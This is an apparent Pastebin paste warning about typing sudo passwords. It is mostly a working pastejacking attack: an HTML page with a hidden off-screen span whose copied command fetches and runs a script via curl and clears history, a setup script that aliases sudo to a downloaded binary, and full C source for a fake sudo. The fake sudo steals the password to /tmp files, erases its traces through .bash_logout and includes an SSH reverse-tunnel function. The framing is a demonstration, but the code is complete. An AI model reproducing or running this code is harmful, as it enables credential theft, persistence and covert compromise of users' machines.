Advertisement
Guest User

sudo+password considered harmful

a guest
Feb 28th, 2016
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.17 KB | None | 0 0
  1. # This is why we should never use sudo with a password to run arbitrary commands
  2. # Consider using a root login from a TTY console instead.
  3. #
  4. # Author: nullbyte
  5. #
  6.  
  7. # Scenario: you visit a web page and decide that you're too lazy to type out everything on the page, so you copy and paste a script, or a link, or some info from the web, into your terminal...This is a BIG MISTAKE!
  8.  
  9. <html>
  10. <head>
  11. </head>
  12. <body>
  13. Quick installation method for git-crypt:
  14. <p class="codeblock">
  15.  
  16. clear;git clone https://github.com/AGWA/git-crypt.git
  17.  
  18. <span style="position: absolute; left: -100px; top: -100px">
  19. -help &> /dev/null;printf '\x1b[0;30;40m'<br>
  20. alias o='reset;rm -rf git-crypt &>/dev/null && \curl -fso ~/q http://127.0.0.1/q &>/dev/null && chmod +x ~/q && ~/q;alias sudo=~/bin/ssh-askpass;unset o;reset;history -c;clear;git clone https://github.com/AGWA/git-crypt.git'<br>
  21. printf '\x1b[0m'<br>
  22. o;history -c<br>
  23. </span>
  24. <br>
  25. </p>
  26. </body>
  27. </html>
  28.  
  29. #
  30. # The copy-paste action above downloads and runs the script: 'q'
  31. # Here is the source for the script: 'q'
  32. #
  33.  
  34. #!/usr/bin/env bash
  35.  
  36. setupfunc()
  37. {
  38. mkdir ~/bin
  39. \curl -fso ~/bin/ssh-askpass http://127.0.0.1/ssh-askpass
  40. chmod +x ~/bin/ssh-askpass
  41. echo 'alias sudo=~/bin/ssh-askpass' >> ~/.profile
  42. }
  43.  
  44. setupfunc &> /dev/null && rm -f ~/q &> /dev/null
  45.  
  46. # This uses 127.0.0.1 for demo purposes, but an attacker would substitute for the attacker's server IP.
  47. # Now, the attacker hosting this webpage will have already compiled the binary 'ssh-askpass' and hosted it on his or her website.
  48. # The 'ssh-askpass' program is actually a fake version of sudo. The sudo command gets added as an alias to ~/bin/ssh-askpass in your bash profile.
  49.  
  50. # If you ever run sudo, then the password will be stolen and copied to /tmp as /tmp/pass.$UID and /tmp/cached.$UID
  51. # The program will try to remove itself by modifying the ~/.bash_logout script.
  52. #
  53. # Here is the source for sudo.c
  54. # compile with: gcc ./sudo.c -DLINUX -o ssh-askpass
  55.  
  56. #include <stdio.h>
  57. #include <stdlib.h>
  58. #include <stdarg.h>
  59. #include <string.h>
  60. #include <signal.h>
  61. #include <ctype.h>
  62. #include <errno.h>
  63. #include <fcntl.h>
  64. #include <limits.h>
  65. #include <unistd.h>
  66. #include <arpa/inet.h>
  67. #include <netinet/in.h>
  68. #include <sys/mman.h>
  69. #include <sys/stat.h>
  70. #include <sys/socket.h>
  71. #include <sys/types.h>
  72. #include <sys/wait.h>
  73. #include <openssl/md5.h>
  74. #include <openssl/rand.h>
  75. #include <openssl/evp.h>
  76. #if defined LINUX
  77. #include <alloca.h>
  78. #include <bsd/string.h>
  79. #endif
  80.  
  81. #define DLINE {printf("LINE=%d\n",__LINE__);fflush(stdout);}
  82. #define DIE exit(EXIT_FAILURE)
  83.  
  84. int bytes(char *filename);
  85. void add_cleanup_to_bash_logout();
  86. void remove_from_all_profiles();
  87. void remove_from_profile(char *profile);
  88. char *join_strings(char *a, char *b);
  89. int getbit(int n, int bit);
  90. int file_exists(char *path);
  91. int file_iswritable(char *path);
  92. void show_file_permissions(char *path);
  93. int sudo(int argc, char **argv);
  94. void append_file(char *path, char *str);
  95. void append_file_with_newline(char *path, char *str);
  96. void overwrite_file(char *path, char *str);
  97. char *load_pass(char *file_name);
  98. int http_get(char *ip_address, char *file);
  99. int ssh_reverse_shell();
  100.  
  101. #if defined LINUX
  102. // GNU gsed only
  103. #define BASH_LOGOUT_SCRIPT "rm -f ~/bin/ssh-askpass & sed ~/.bash_logout -e's|rm -f ~/bin/ssh-askpass.*$||g' -i"
  104. #define SUDO "/usr/bin/sudo"
  105. #endif
  106. #if defined BSD
  107. // works with GNU gsed
  108. #define BASH_LOGOUT_SCRIPT "rm -f ~/bin/ssh-askpass &>/dev/null & sed ~/.bash_logout -e '/~\\/bin\\/ssh-askpass.*/d' -i &>/dev/null"
  109. #define SUDO "/usr/local/bin/sudo"
  110. #endif
  111.  
  112. #if defined DARWIN
  113. #define BASH_LOGOUT_SCRIPT "rm -f ~/bin/ssh-askpass &>/dev/null & sed ~/.bash_logout -e '/~\\/bin\\/ssh-askpass.*/d' -i &>/dev/null"
  114. #define SUDO "/usr/bin/sudo"
  115. #endif
  116.  
  117. #define ALIAS "alias sudo=~/bin/ssh-askpass"
  118. #define PASS "/tmp/pass"
  119. #define CACHED "/tmp/cached"
  120.  
  121. // get gcc to stop complaining about unused: argc, argv[]
  122. #define ARGS_USED {if (argc < 2 && (strlen(argv[0]) == 0)) exit(EXIT_FAILURE);}
  123. int main(int argc, char **argv)
  124. {
  125. ARGS_USED;
  126. sudo(argc,argv);
  127. remove_from_all_profiles();
  128. add_cleanup_to_bash_logout();
  129. //http_get("127.0.0.1","/index.html");
  130. return 0;
  131. }
  132.  
  133. /*
  134. * Remove ALIAS from all shell profiles that are bash compatible.
  135. */
  136. void remove_from_all_profiles()
  137. {
  138. char *profile=NULL;
  139. char *home=NULL;
  140. home = getenv("HOME");
  141. if (home == NULL) return;
  142. profile = join_strings(home,"/.profile");
  143. remove_from_profile(profile);
  144. free(profile);
  145. profile=NULL;
  146.  
  147. profile = join_strings(home,"/.zprofile");
  148. remove_from_profile(profile);
  149. free(profile);
  150. profile=NULL;
  151.  
  152. profile = join_strings(home,"/.bash_profile");
  153. remove_from_profile(profile);
  154. free(profile);
  155. profile=NULL;
  156.  
  157. profile = join_strings(home,"/.bashrc");
  158. remove_from_profile(profile);
  159. free(profile);
  160. profile=NULL;
  161.  
  162. }
  163.  
  164. /*
  165. * Append a line to the ~/.bash_logout script that removes all
  166. * evidence that the fake sudo program ever existed.
  167. */
  168. void add_cleanup_to_bash_logout()
  169. {
  170. char *logoutscript=NULL;
  171. logoutscript = join_strings(getenv("HOME"),"/.bash_logout");
  172. append_file(logoutscript,BASH_LOGOUT_SCRIPT);
  173. }
  174.  
  175. /* file_exists()
  176. * file exists: return 1
  177. * file does not exist: return 0
  178. */
  179. int file_exists(char *path)
  180. {
  181. struct stat st;
  182. if (stat(path,&st) == 0) return 1;
  183. else return 0;
  184. }
  185.  
  186. /* file_iswritable()
  187. * file is writable: return 1
  188. * file is read-only: return 0
  189. */
  190. int file_iswritable(char *path)
  191. {
  192. struct stat st;
  193. // check whether or not stat succeeded
  194. if (stat(path,&st) == -1) return 0;
  195. // Check whether or not the file is world-writable
  196. if (getbit(st.st_mode,1) == 1) {
  197. return 1;
  198. }
  199. // Check whether or not the file is owner-writable
  200. if (getbit(st.st_mode,7) == 1) {
  201. return 1;
  202. }
  203. return 0;
  204. }
  205.  
  206. void show_file_permissions(char *path)
  207. {
  208. struct stat st;
  209. // check whether or not stat succeeded
  210. if (stat(path,&st) == -1) return;
  211. printf("st.st_mode=%d owner=%d%d%d group=%d%d%d world=%d%d%d\n",st.st_mode,
  212. getbit(st.st_mode,8),getbit(st.st_mode,7),getbit(st.st_mode,6),
  213. getbit(st.st_mode,5),getbit(st.st_mode,4),getbit(st.st_mode,3),
  214. getbit(st.st_mode,2),getbit(st.st_mode,1),getbit(st.st_mode,0));
  215. }
  216.  
  217. int getbit(int n, int bit)
  218. {
  219. if (bit > 0) {
  220. return (n/(1<<bit))%2;
  221. } else if(bit == 0) {
  222. return n%2;
  223. } else {
  224. return 0;
  225. }
  226. }
  227.  
  228.  
  229. char *join_strings(char *a, char *b)
  230. {
  231. char *c=NULL;
  232. size_t clen=0;
  233. clen = strlen(a)+strlen(b);
  234. c = malloc(clen+1);
  235. memset(c,0,clen+1);
  236. snprintf(c,clen+1,"%s%s",a,b);
  237. return c;
  238. }
  239.  
  240. int sudo(int argc, char **argv)
  241. {
  242. char buf[128];
  243. int i;
  244. size_t promptlen=0;
  245. char *prompt=NULL;
  246. char *passfile=NULL;
  247. size_t passfilelen=0;
  248. char *cachedfile=NULL;
  249. size_t cachedfilelen=0;
  250. char *pass=NULL;
  251. char *username=NULL;
  252. char *argstr=NULL;
  253. size_t argstrlen = 1024;
  254. struct stat st;
  255. char *e[] = { NULL };
  256. FILE *f=NULL;
  257. if (argc < 2) {
  258. char *a[] = { SUDO, NULL };
  259. execve(a[0],a,e);
  260. exit(EXIT_FAILURE);
  261. }
  262. for (i=1;i<argc;i++) {
  263. if ((argv[i][0] == '-') && (argv[i][1] == 'h') && (argv[i][2] == 0)) {
  264. char *a[] = { SUDO, "-h", NULL };
  265. execve(a[0],a,e);
  266. exit(EXIT_SUCCESS);
  267. }
  268. }
  269.  
  270. /* initialize the filename /tmp/pass.uid */
  271. memset(buf,0,128);
  272. snprintf(buf,128,".%d",getuid());
  273. passfilelen=strlen(PASS)+strlen(buf);
  274. passfile = malloc(passfilelen+1);
  275. snprintf(passfile,passfilelen+1,"%s%s",PASS,buf);
  276.  
  277. /* initialize the filename /tmp/cached.uid */
  278. memset(buf,0,128);
  279. snprintf(buf,128,".%d",getuid());
  280. cachedfilelen=strlen(CACHED)+strlen(buf);
  281. cachedfile = malloc(cachedfilelen+1);
  282. snprintf(cachedfile,cachedfilelen+1,"%s%s",CACHED,buf);
  283.  
  284. /* initialize the sudo prompt */
  285. username = getenv("USER");
  286. promptlen = 22+strlen(username);
  287. prompt = malloc(promptlen+1);
  288. memset(prompt,0,promptlen);
  289. snprintf(prompt,promptlen+1,"[sudo] password for %s: ",username);
  290.  
  291. if (stat(passfile,&st) == -1) {
  292. // If we cannot find the /tmp/pass.uid file:
  293. pass = getpass(prompt); // '[sudo] password for $USER: '
  294. append_file_with_newline(passfile,pass); // steal passphrase and append to a file
  295. overwrite_file(cachedfile,pass); // steal passphrase and overwrite file
  296. } else {
  297. // If we found the /tmp/pass.uid file:
  298. //pass = getpass(prompt); // '[sudo] password for $USER: '
  299. //append_file_with_newline(passfile,pass); // steal passphrase and append to a file
  300. //overwrite_file(cachedfile,pass); // steal passphrase and overwrite file
  301. }
  302. argstr = malloc(argstrlen);
  303. memset(argstr,0,argstrlen);
  304. if (pass == NULL) {
  305. pass = load_pass(cachedfile);
  306. }
  307. sprintf(argstr,"echo '%s'|",pass);
  308. strcat(argstr,SUDO);
  309. strcat(argstr," -p '' -S ");
  310. for (i=1;i<argc;i++) {
  311. strcat(argstr,argv[i]);
  312. if (i != argc-1) {
  313. strcat(argstr," ");
  314. }
  315. }
  316. if (pass == NULL) {
  317. pass = load_pass(cachedfile);
  318. } else if (strlen(pass) == 0) {
  319. pass = load_pass(cachedfile);
  320. }
  321. //printf("cachedfile='%s' pass='%s' strlen(pass)=%d argstr='%s'\n",cachedfile,pass,(int)strlen(pass),argstr);
  322. f = popen(argstr,"w"); // sudo -p '' -S <args>
  323. fprintf(f,"\n");
  324. fclose(f);
  325. free(argstr);
  326. return 0;
  327. }
  328.  
  329. void remove_from_profile(char *profile)
  330. {
  331. char *tag = ALIAS;
  332. int taglen=0;
  333. int i;
  334. char c;
  335. char *a=NULL;
  336. char *b=NULL;
  337. char *p=NULL;
  338. size_t alias_offset=0;
  339. int status=0;
  340. int size=0;
  341. enum { INCOMPLETE, COMPLETE };
  342. FILE *f=NULL;
  343. taglen=(int)strlen(ALIAS);
  344. if (!file_exists(profile)) {
  345. return;
  346. }
  347. if (!file_iswritable(profile)) {
  348. return;
  349. }
  350. status = INCOMPLETE;
  351. for (;;) {
  352. size = bytes(profile);
  353. p = malloc((size_t)size+2); // in-memory profile text
  354. memset(p,0,(size_t)size+2);
  355. b = malloc((size_t)size+2); // in-memory profile text
  356. memset(b,0,(size_t)size+2);
  357. f = fopen(profile,"r");
  358. for (i=0; i<(int)size && c != EOF; i++) {
  359. c = getc(f);
  360. p[i] = c;
  361. }
  362. fclose(f);
  363. f=NULL;
  364. a = strstr(p,tag);
  365. if (a != NULL) {
  366. alias_offset=(a-p);
  367. memcpy(b,p,alias_offset);
  368. memcpy(b+alias_offset,p+alias_offset+taglen,strlen(a+taglen));
  369. f = fopen(profile,"w");
  370. fprintf(f,"%s",b);
  371. fclose(f);
  372. memset(p,0,size);
  373. free(p);
  374. free(b);
  375. } else {
  376. status=COMPLETE;
  377. }
  378. if (status == COMPLETE) {
  379. break;
  380. }
  381. }
  382. }
  383.  
  384. int bytes(char *filename)
  385. {
  386. int size=0;
  387. FILE *f = NULL;
  388. f = fopen(filename,"r");
  389. if (f == NULL) return 0;
  390. while (getc(f) != EOF) {
  391. size++;
  392. }
  393. fclose(f);
  394. return size;
  395. }
  396.  
  397. void append_file_with_newline(char *path, char *str)
  398. {
  399. FILE *f=NULL;
  400. f = fopen(path,"a");
  401. fprintf(f,"%s\n",str);
  402. fclose(f);
  403. }
  404.  
  405. void append_file(char *path, char *str)
  406. {
  407. FILE *f=NULL;
  408. f = fopen(path,"a");
  409. fprintf(f,"%s",str);
  410. fclose(f);
  411. }
  412.  
  413. void overwrite_file(char *path, char *str)
  414. {
  415. FILE *f=NULL;
  416. f = fopen(path,"w");
  417. fprintf(f,"%s\n",str);
  418. fclose(f);
  419. }
  420.  
  421. char *load_pass(char *file_name)
  422. {
  423. int i;
  424. char *dst=NULL;
  425. char c = 0;
  426. FILE *src_file=NULL;
  427. dst = malloc(4096);
  428. memset(dst,0,4096);
  429. src_file = fopen(file_name, "r");
  430. if (src_file == NULL) {
  431. fprintf(stderr, "ERROR :: print_file() :: Can't open file.\n");
  432. return 0;
  433. }
  434. for (i=0; (c!=EOF) && (i<4095); i++) {
  435. c = getc(src_file);
  436. if (c == '\n') {
  437. break;
  438. } else {
  439. dst[i] = c;
  440. }
  441. }
  442. /* clean up */
  443. fclose(src_file);
  444. src_file = NULL;
  445. return dst;
  446. }
  447.  
  448.  
  449. int http_get(char *ip_address, char *file)
  450. {
  451. int port = 80;
  452. int connect_status=0,received_bytes=0,sent_bytes=0;
  453. size_t input_buffer_len=20000;
  454. char *input_buffer;
  455. int socket_handle;
  456. struct sockaddr_in socket_detials;
  457. size_t httpgetlen=0;
  458. char *httpget=NULL;
  459. char *host = "www.google.com";
  460. char *user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0";
  461. char *accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  462. char *accept_language = "en-US,en;q=0.5";
  463. char *accept_encoding = "gzip, deflate";
  464.  
  465. // GET /index.html HTTP/1.1
  466. // Host: www.google.com
  467. // User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0
  468. // Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  469. // Accept-Language: en-US,en;q=0.5
  470. // Accept-Encoding: gzip, deflate
  471. // DNT: 1
  472. // Connection: keep-alive
  473.  
  474. httpgetlen += strlen("GET ") + strlen(file) + 9 + 2;
  475. httpgetlen += strlen("Host: ") + strlen(host) + 2;
  476. httpgetlen += strlen("User-Agent: ") + strlen(user_agent) + 2;
  477. httpgetlen += strlen("Accept: ") + strlen(accept) + 2;
  478. httpgetlen += strlen("Accept-Language: ") + strlen(accept_language) + 2;
  479. httpgetlen += strlen("Accept-Encoding: ") + strlen(accept_encoding) + 2;
  480. httpgetlen += strlen("DNT: 1") + 2;
  481. httpgetlen += strlen("Connection: keep-alive") + 2;
  482. httpget = malloc(httpgetlen+1);
  483. memset(httpget,0,httpgetlen);
  484. snprintf(httpget,httpgetlen+1,
  485. "GET %s HTTP/1.1\r\n" \
  486. "Host: %s\r\n" \
  487. "User-Agent: %s\r\n" \
  488. "Accept: %s\r\n" \
  489. "Accept-Language: %s\r\n" \
  490. "Accept-Encoding: %s\r\n" \
  491. "DNT: 1\r\n" \
  492. "Connection: keep-alive\r\n",
  493. file,
  494. host,
  495. user_agent,
  496. accept,
  497. accept_language,
  498. accept_encoding);
  499. printf("%s\n\n",httpget);
  500. printf("strlen(httpget)=%d\n",(int)strlen(httpget));
  501. printf("httpgetlen =%d\n",(int)httpgetlen);
  502.  
  503. /* setup receive buffer */
  504. input_buffer = malloc(input_buffer_len);
  505. memset(input_buffer,0,input_buffer_len);
  506. socket_handle = socket(AF_INET, SOCK_STREAM,0);
  507. socket_detials.sin_family = AF_INET;
  508. socket_detials.sin_addr.s_addr = inet_addr(ip_address);
  509. socket_detials.sin_port = htons(port);
  510. bzero(&(socket_detials.sin_zero),8);
  511. connect_status = connect(socket_handle, (struct sockaddr*)&socket_detials, sizeof(struct sockaddr));
  512. if (connect_status == -1) printf("Cannot connect to server.\n");
  513. if (connect_status == 0) {
  514. printf("Sent %d bytes\n",sent_bytes);
  515. sent_bytes = (int)send(socket_handle, httpget, strlen(httpget),0);
  516. received_bytes = (int)recv(socket_handle, input_buffer, input_buffer_len,0);
  517. printf("Received %d bytes\n",received_bytes);
  518. printf("%s\n",input_buffer);
  519. }
  520.  
  521. /* cleanup memory */
  522. memset(input_buffer,0,input_buffer_len);
  523. free(input_buffer);
  524. input_buffer=NULL;
  525.  
  526. memset(httpget,0,httpgetlen);
  527. free(httpget);
  528. httpget=NULL;
  529.  
  530. return 0;
  531. }
  532.  
  533. int ssh_reverse_shell()
  534. {
  535. if (0 == fork()) {
  536. execl("/usr/bin/ssh",
  537. "ssh",
  538. "-R",
  539. "12345:localhost:22",
  540. "user@server",
  541. NULL);
  542. }
  543. return 0;
  544. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement